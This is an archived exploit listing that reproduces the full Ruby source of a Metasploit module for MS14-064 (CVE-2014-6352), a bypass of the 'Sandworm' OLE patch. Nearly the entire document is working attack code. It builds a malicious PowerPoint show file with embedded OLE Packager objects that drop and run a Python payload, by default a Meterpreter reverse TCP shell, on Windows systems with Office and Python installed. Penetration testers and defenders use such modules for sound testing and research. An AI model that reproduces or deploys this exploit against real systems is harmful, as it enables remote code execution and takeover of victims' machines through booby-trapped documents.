MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python

2014-11-14T00:00:00
ID PACKETSTORM:129110
Type packetstorm
Reporter Haifei Li
Modified 2014-11-14T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python",  
'Description' => %q{  
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)  
allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability  
publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista  
SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.  
However, based on our testing, the most reliable setup is on Windows platforms running  
Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as  
those using Office 2010 SP1 may be less stable, and may end up with a crash due to a  
failure in the CPackage::CreateTempFileName function.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Haifei Li', # Vulnerability discovery and exploit technique  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2014-6352'],  
['MSB', 'MS14-064'],  
['BID', '70690'],  
['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm']  
],  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Targets' =>  
[  
['Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013', {}],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'DisclosureDate' => "Nov 12 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx'])  
], self.class)  
end  
  
def exploit  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
payload_packager = create_packager('tabnanny.py', payload.encoded)  
trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10)))  
zip = zip_ppsx(payload_packager, trigger_packager)  
file_create(zip)  
end  
  
def zip_ppsx(ole_payload, ole_trigger)  
zip_data = {}  
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')  
  
Dir["#{data_dir}/**/**"].each do |file|  
unless File.directory?(file)  
zip_data[file.sub(data_dir,'')] = File.read(file)  
end  
end  
  
# add the otherwise skipped "hidden" file  
file = "#{data_dir}/_rels/.rels"  
zip_data[file.sub(data_dir,'')] = File.read(file)  
  
# put our own OLE streams  
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload  
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger  
  
# create the ppsx  
ppsx = Rex::Zip::Archive.new  
zip_data.each_pair do |k,v|  
ppsx.add_file(k,v)  
end  
  
ppsx.pack  
end  
  
def create_packager(file_name, contents)  
file_info = [2].pack('v')  
file_info << "#{file_name}\x00"  
file_info << "#{file_name}\x00"  
file_info << "\x00\x00"  
  
extract_info = [3].pack('v')  
extract_info << [file_name.length + 1].pack('V')  
extract_info << "#{file_name}\x00"  
  
file = [contents.length].pack('V')  
file << contents  
  
append_info = [file_name.length].pack('V')  
append_info << Rex::Text.to_unicode(file_name)  
append_info << [file_name.length].pack('V')  
append_info << Rex::Text.to_unicode(file_name)  
append_info << [file_name.length].pack('V')  
append_info << Rex::Text.to_unicode(file_name)  
  
ole_data = file_info + extract_info + file + append_info  
ole_contents = [ole_data.length].pack('V') + ole_data  
  
ole = create_ole("\x01OLE10Native", ole_contents)  
  
ole  
end  
  
def create_ole(stream_name, data)  
ole_tmp = Rex::Quickfile.new('ole')  
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)  
  
stm = stg.create_stream(stream_name)  
stm << data  
stm.close  
  
directory = stg.instance_variable_get(:@directory)  
directory.each_entry do |entry|  
if entry.instance_variable_get(:@_ab) == 'Root Entry'  
# 0003000C-0000-0000-c000-000000000046 # Packager  
clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")  
entry.instance_variable_set(:@_clsId, clsid)  
end  
end  
  
# write to disk  
stg.close  
  
ole_contents = File.read(ole_tmp.path)  
ole_tmp.close  
ole_tmp.unlink  
  
ole_contents  
end  
  
end  
  
`